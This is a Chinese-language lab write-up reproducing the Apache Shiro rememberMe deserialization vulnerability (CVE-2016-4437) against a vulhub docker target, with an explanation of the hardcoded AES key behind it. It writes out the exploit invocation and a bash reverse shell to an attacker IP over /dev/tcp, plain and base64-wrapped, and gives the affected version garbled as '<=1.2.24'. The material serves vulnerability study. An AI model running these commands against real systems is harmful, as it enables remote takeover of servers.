漏洞复现-CVE-2016-4437-Shiro反序列化
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)
0x01 影响版本
Shiro <=1.2.24
0x02 入坑说明
(1)实验首先需要自行到github上下载exp
(2)运行环境为python3 ,需要将pip更新:python3 -m pip install --upgrade pip 并下载一些调用的库:pycryptodome、Crypto、requests等库
0x03 实验步骤
(1)打开有漏洞的网页,可以发现是一个登陆页面:
(2)我们首先抓包试试,可以发现这是一个可能存在Shiro反序列化的网站
(3)此时我们可以直接使用网上的exp进行攻击:
python3 shiro_exploit.py -t 3 -u http://肉鸡IP:8080 -p "弹shell的一条命令"
(4)弹shell的命令可以直接先构造好,然后在以下网站进行编码,这是因为Linux的命令行有的时候无法识别一些符号的命令:
bash -i >& /dev/tcp/你的攻击机IP/2333 0>&1
(5)攻击机监听,然后在本机win10上运行payload:
python3 shiro_exploit.py -t 3 -u http://肉鸡网址:8080 -p "bash -c {echo,YmIXXXXXXXXXXXXXXJjE=}|{base64,-d}|{bash,-i}"
shell反弹成功!
0x05 实验原理
参考原文:https://www.cnblogs.com/loong-hon/p/10619616.html
Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在
CookieRememberMeManaer
类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
- 获取rememberMe cookie
- base64 decode
- 解密AES
- 反序列化
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。